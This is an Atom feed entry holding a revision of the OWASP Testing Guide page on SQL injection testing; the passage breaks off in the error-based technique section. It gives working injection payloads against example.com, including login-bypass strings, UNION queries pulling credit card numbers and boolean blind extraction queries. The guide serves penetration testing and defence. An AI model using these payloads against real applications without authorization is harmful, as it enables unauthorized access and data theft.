<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Ismael+Rocha</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Ismael+Rocha"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Ismael_Rocha"/>
		<updated>2026-04-25T04:32:45Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=144570</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=144570"/>
				<updated>2013-02-16T12:09:33Z</updated>
		
		<summary type="html">&lt;p&gt;Ismael Rocha: English adjustments&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
==Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or&lt;br /&gt;
&amp;amp;quot;injection&amp;amp;quot; of a SQL query via the input data from the client to the&lt;br /&gt;
application. A successful SQL injection exploit can read sensitive data from&lt;br /&gt;
the database, modify database data (insert/update/delete), execute&lt;br /&gt;
administration operations on the database (such as shutdown the DBMS), recover&lt;br /&gt;
the content of a given file existing on the DBMS file system or write files into&lt;br /&gt;
the file system, and, in some cases, issue commands to the operating system.&lt;br /&gt;
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to&lt;br /&gt;
affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In general the way web&lt;br /&gt;
applications construct SQL statements involving SQL syntax wrote by the&lt;br /&gt;
programmers mixed with user-supplied data. Example:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The red part is the SQL static&lt;br /&gt;
part supplied by the programmer and the variable $id contains user-supplied&lt;br /&gt;
data, making the SQL statement dynamic.&lt;br /&gt;
 &lt;br /&gt;
Because the way it was&lt;br /&gt;
constructed, the user can supply crafted input trying to make the original SQL&lt;br /&gt;
statement execute commands at user’s behavior. The example illustrates the&lt;br /&gt;
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,&lt;br /&gt;
modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=10 or 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
SQL Injection attacks can&lt;br /&gt;
be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Inband: data is extracted using the same      channel that is used to inject the SQL code. This is the most      straightforward kind of attack, in which the retrieved data is presented      directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a      different channel (e.g., an email with the results of the query is      generated and sent to the tester).&lt;br /&gt;
* Inferential: there is no actual transfer      of data, but the tester is able to reconstruct the information by sending      particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
Independent of the attack&lt;br /&gt;
class, a successful SQL Injection attack requires the attacker to craft a&lt;br /&gt;
syntactically correct SQL Query. If the application returns an error message&lt;br /&gt;
generated by an incorrect query, then it is easy to reconstruct the logic of&lt;br /&gt;
the original query and, therefore, understand how to perform the injection&lt;br /&gt;
correctly. However, if the application hides the error details, then the tester&lt;br /&gt;
must be able to reverse engineer the logic of the original query. The latter&lt;br /&gt;
case is known as &amp;amp;quot;[[Blind SQL Injection]]&amp;amp;quot;.&lt;br /&gt;
 &lt;br /&gt;
About the techniques to&lt;br /&gt;
exploit SQL injection flaws there are five commons techniques. Also those&lt;br /&gt;
techniques sometimes can be used in a combined way (e.g. union operator and&lt;br /&gt;
out-of-band):&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: usually can be used when      the SQL injection flaw happens in a SELECT statement, making possible to      combine two queries into a single result.&lt;br /&gt;
* Boolean: use Boolean condition to verify      if certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the      database to generate an error making&lt;br /&gt;
* Out-of-band: technique used to retrieve data      using a different channel (e.g., make a HTTP connection to send the      results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g.      sleep) to delay answers in conditional queries. It useful when attacker doesn’t      have some kind of answer from the application.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==SQL Injection Detection ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first step in this test is to understand when the&lt;br /&gt;
application connects to a DB Server in order to access some data. Typical&lt;br /&gt;
examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
* Authentication forms: when authentication is      performed using a web form, chances are that the user credentials are      checked against a database that contains all usernames and passwords (or,      better, password hashes)&lt;br /&gt;
* Search engines: the string submitted by the user      could be used in a SQL query that extracts all relevant records from a      database&lt;br /&gt;
* E-Commerce sites: the products and their      characteristics (price, description, availability etc) are very likely to      be stored in a relational database.&lt;br /&gt;
 &lt;br /&gt;
The tester has to make a list of all input fields&lt;br /&gt;
whose values could be used in crafting a SQL query, including the hidden fields&lt;br /&gt;
of POST requests and then test them separately, trying to interfere with the&lt;br /&gt;
query and to generate an error. Consider also HTTP headers and Cookies. The&lt;br /&gt;
very first test usually consists of adding a single quote (') or a semicolon&lt;br /&gt;
(;) to the field under test. The first is used in SQL as a string terminator&lt;br /&gt;
and, if not filtered by the application, would lead to an incorrect query. The&lt;br /&gt;
second is used to end a SQL statement and, if it is not filtered, it is also&lt;br /&gt;
likely to generate an error. The output of a vulnerable field might resemble&lt;br /&gt;
the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Also comments (--) and other SQL keywords like 'AND'&lt;br /&gt;
and 'OR' can be used to try to modify the query. A very simple but sometimes&lt;br /&gt;
still effective technique is simply to insert a string where a number is&lt;br /&gt;
expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
varchar value 'test' to a column of data type int.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
Monitor all the responses from the web server and have&lt;br /&gt;
a look at the HTML/javascript source code. Sometimes&lt;br /&gt;
the error is present inside them but for some reason (e.g. javascript&lt;br /&gt;
error) is not presented to the user. A full error message, like those in the&lt;br /&gt;
examples, provides a wealth of information to the tester in order to mount a&lt;br /&gt;
successful injection. However, applications often do not provide so much&lt;br /&gt;
detail: a simple '500 Server Error' or a custom error page might be issued,&lt;br /&gt;
meaning that we need to use blind injection techniques. In any case, it is very&lt;br /&gt;
important to test each field separately: only one variable must vary while all&lt;br /&gt;
the other remain constant, in order to precisely understand which parameters&lt;br /&gt;
are vulnerable and which are not.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Standard SQL Injection Testing ===&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Example 1 (classical SQL Injection):&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
A similar query is generally used from the web&lt;br /&gt;
application in order to authenticate a user. If the query returns a value it&lt;br /&gt;
means that inside the database a user with that&lt;br /&gt;
credentials exists, then the user is allowed to login to the system, otherwise&lt;br /&gt;
the access is denied. The values of the input fields are generally obtained&lt;br /&gt;
from the user through a web form. Suppose we insert the following Username and&lt;br /&gt;
Password values:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The query will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If we suppose that the values of the parameters are&lt;br /&gt;
sent to the server through the GET method, and if the domain of the vulnerable&lt;br /&gt;
web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
After a short analysis we notice that the query&lt;br /&gt;
returns a value (or a set of values) because the condition is always true (OR&lt;br /&gt;
1=1). In this way the system has authenticated the user without knowing the&lt;br /&gt;
username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator&lt;br /&gt;
user. This may be the profile returned in some cases.'' Another example of&lt;br /&gt;
query is the following:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this case, there are two problems, one due to the&lt;br /&gt;
use of the parentheses and one due to the use of MD5 hash function. First of&lt;br /&gt;
all, we resolve the problem of the parentheses. That simply consists of adding&lt;br /&gt;
a number of closing parentheses until we obtain a corrected query. To resolve&lt;br /&gt;
the second problem, we try to invalidate the second condition. We add to our&lt;br /&gt;
query a final symbol that means that a comment is beginning. In this way,&lt;br /&gt;
everything that follows such symbol is considered a comment. Every DBMS has its&lt;br /&gt;
own symbols of comment, however, a common symbol to the greater part of the&lt;br /&gt;
database is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values&lt;br /&gt;
that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The URL request will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
This returns a number of values. Sometimes, the&lt;br /&gt;
authentication code verifies that the number of returned tuple&lt;br /&gt;
is exactly equal to 1. In the previous examples, this situation would be&lt;br /&gt;
difficult (in the database there is only one value per user). In order to go&lt;br /&gt;
around this problem, it is enough to insert a SQL command that imposes the&lt;br /&gt;
condition that the number of the returned tuple must&lt;br /&gt;
be one. (One record returned) In order to reach this goal, we use the operator&lt;br /&gt;
&amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the tuples that we expect to be returned. With respect to the&lt;br /&gt;
previous example, the value of the fields Username and&lt;br /&gt;
Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
Example 2 (simple SELECT statement):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester&lt;br /&gt;
try a valid value (e.g. 10 in this case), the application will return the&lt;br /&gt;
description of a product.&lt;br /&gt;
A good way to test if the application is vulnerable in this scenario&lt;br /&gt;
is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return&lt;br /&gt;
some message telling us there is no content available or a blanket page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This second example can also be used to test Blind Sql Injection.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Example 3 (Stacked queries):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Depending on the API which the web application is using&lt;br /&gt;
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER)  is possible to&lt;br /&gt;
execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10; INSERT INTO users (…)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row&lt;br /&gt;
and independent on the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Fingerprinting the Database ===&lt;br /&gt;
 &lt;br /&gt;
Even the SQL language is a standard,&lt;br /&gt;
every DBMS has its peculiarity and differs from each other in many aspects like&lt;br /&gt;
especial commands, functions to retrieve data such as users names and&lt;br /&gt;
databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection&lt;br /&gt;
exploitation they need to know the backend.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1) The first way to find out which is the backend is by&lt;br /&gt;
observing the error returned by the application. Follow are some examples:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Oracle:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-00933: SQL command not properly ended&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
SQL Server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
Unclosed quotation mark after the character string&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message,&lt;br /&gt;
the tester can try to inject into string field using concatenation technique:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Exploitation techniques ==&lt;br /&gt;
 &lt;br /&gt;
=== Union Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used&lt;br /&gt;
in SQL injections to join a query, purposely forged by the tester, to the&lt;br /&gt;
original query. The result of the forged query will be joined to the result of&lt;br /&gt;
the original query, allowing the tester to obtain the values of fields of other&lt;br /&gt;
tables. We suppose for our examples that the query executed from the server is&lt;br /&gt;
the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT&lt;br /&gt;
Name, Phone, Address FROM Users WHERE Id=$id&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following&lt;br /&gt;
Id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
$id=1&lt;br /&gt;
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following&lt;br /&gt;
query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT&lt;br /&gt;
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
which will join the result of the original query&lt;br /&gt;
with all the credit card users. The keyword '''ALL''' is necessary to get&lt;br /&gt;
around queries that use the keyword DISTINCT. Moreover, we notice that beyond&lt;br /&gt;
the credit card numbers, we have selected other two values. These two values&lt;br /&gt;
are necessary, because the two query must have an&lt;br /&gt;
equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first&lt;br /&gt;
information the tester need to exploit the SQL injection vulnerability using&lt;br /&gt;
such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to&lt;br /&gt;
achieve it the tester can use ORDER BY clause followed by a number indicating&lt;br /&gt;
the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 ORDER BY 10--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester will see&lt;br /&gt;
the tester can assume, in this example, there are 10 or more columns in the&lt;br /&gt;
SELECT statement. If the query fails and there is an error message available&lt;br /&gt;
probably it would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Unknown column '10' in 'order clause'&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the tester find out the numbers of columns, the&lt;br /&gt;
next step is to find out the type of columns. Assuming there were 3 columns in&lt;br /&gt;
the example above, the tester could try each column type, using the NULL value&lt;br /&gt;
to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, probably the tester will see a&lt;br /&gt;
message like:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;All cells in a column must have the same datatype&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column&lt;br /&gt;
can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
After the success exploitation, depending on the&lt;br /&gt;
application, it will show to the tester only the first result, because the&lt;br /&gt;
application treats only the first line of the result. In this case, it is&lt;br /&gt;
possible to use LIMIT like clause or the tester can set an invalid value,&lt;br /&gt;
making only the second line valid (supposing there is no entry in the database&lt;br /&gt;
which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Boolean Exploitation technique ===&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when&lt;br /&gt;
the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. For example, this&lt;br /&gt;
behavior happens in cases where the programmer has created a custom error page&lt;br /&gt;
that does not reveal anything on the structure of the query or on the database.&lt;br /&gt;
(The page does not return a SQL error, it may just&lt;br /&gt;
return a HTTP 500). &amp;lt;br&amp;gt;&lt;br /&gt;
By using the inference methods, it is possible to avoid this obstacle and thus&lt;br /&gt;
to succeed to recover the values of some desired fields. This method consists&lt;br /&gt;
of carrying out a series of boolean&lt;br /&gt;
queries to the server, observing the answers and finally deducing the meaning&lt;br /&gt;
of such answers. We consider, as always, the www.example.com domain and we&lt;br /&gt;
suppose that it contains a parameter named id vulnerable to SQL injection. This&lt;br /&gt;
means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
we will get one page with a custom message error which&lt;br /&gt;
is due to a syntactic error in the query. We suppose that the query executed on&lt;br /&gt;
the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
which is exploitable through the methods seen previously.&lt;br /&gt;
What we want to obtain is the values of the username field. The tests that we&lt;br /&gt;
will execute will allow us to obtain the value of the username field,&lt;br /&gt;
extracting such value character by character. This is possible through the use&lt;br /&gt;
of some standard functions, present practically in every database. For our&lt;br /&gt;
examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a&lt;br /&gt;
substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text,&lt;br /&gt;
the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A&lt;br /&gt;
null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input&lt;br /&gt;
text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on&lt;br /&gt;
the first character and, when we have discovered the value, we will pass to the&lt;br /&gt;
second and so on, until we will have discovered the entire value. The tests&lt;br /&gt;
will take advantage of the function SUBSTRING, in order to select only one&lt;br /&gt;
character at a time (selecting a single character means to impose the length&lt;br /&gt;
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so&lt;br /&gt;
that we can do numerical comparison. The results of the comparison will be done&lt;br /&gt;
with all the values of the ASCII table, until the right value is found. As an&lt;br /&gt;
example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
that creates the following query (from now on, we will&lt;br /&gt;
call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The previous example returns a result if and only if&lt;br /&gt;
the first character of the field username is equal to the ASCII value 97. If we&lt;br /&gt;
get a false value, then we increase the index of the ASCII table from 97 to 98&lt;br /&gt;
and we repeat the request. If instead we obtain a true value, we set to zero&lt;br /&gt;
the index of the ASCII table and we analyze the next character, modifying the&lt;br /&gt;
parameters of the SUBSTRING function. The problem is to understand in which way&lt;br /&gt;
we can distinguish tests returning a true value from those that return false.&lt;br /&gt;
To do this, we create a query that always returns false. This is possible by&lt;br /&gt;
using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
by which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The obtained response from the server (that is HTML&lt;br /&gt;
code) will be the false value for our tests. This is enough to verify whether&lt;br /&gt;
the value obtained from the execution of the inferential query is equal to the&lt;br /&gt;
value obtained with the test executed before. Sometimes, this method does not&lt;br /&gt;
work. If the server returns two different pages as a result of two identical&lt;br /&gt;
consecutive web requests, we will not be able to discriminate the true value&lt;br /&gt;
from the false value. In these particular cases, it is necessary to use&lt;br /&gt;
particular filters that allow us to eliminate the code that changes between the&lt;br /&gt;
two requests and to obtain a template. Later on, for every inferential request&lt;br /&gt;
executed, we will extract the relative template from the response using the&lt;br /&gt;
same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the&lt;br /&gt;
problem of determining the termination condition for out tests, i.e., when we&lt;br /&gt;
should end the inference procedure. A techniques to do&lt;br /&gt;
this uses one characteristic of the SUBSTRING function and the LENGTH function.&lt;br /&gt;
When the test compares the current character with the ASCII code 0 (i.e., the&lt;br /&gt;
value null) and the test returns the value true, then either we are done with&lt;br /&gt;
the inference procedue (we have scanned the whole&lt;br /&gt;
string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Where N is the number of characters that we have&lt;br /&gt;
analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The query returns either true or false. If we obtain&lt;br /&gt;
true, then we have completed inference and, therefore, we know the value of the&lt;br /&gt;
parameter. If we obtain false, this means that the null character is present in&lt;br /&gt;
the value of the parameter, and we must continue to analyze the next parameter&lt;br /&gt;
until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of&lt;br /&gt;
queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Error based Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The Error based&lt;br /&gt;
exploitation technique is useful when the tester for some reason can’t exploit&lt;br /&gt;
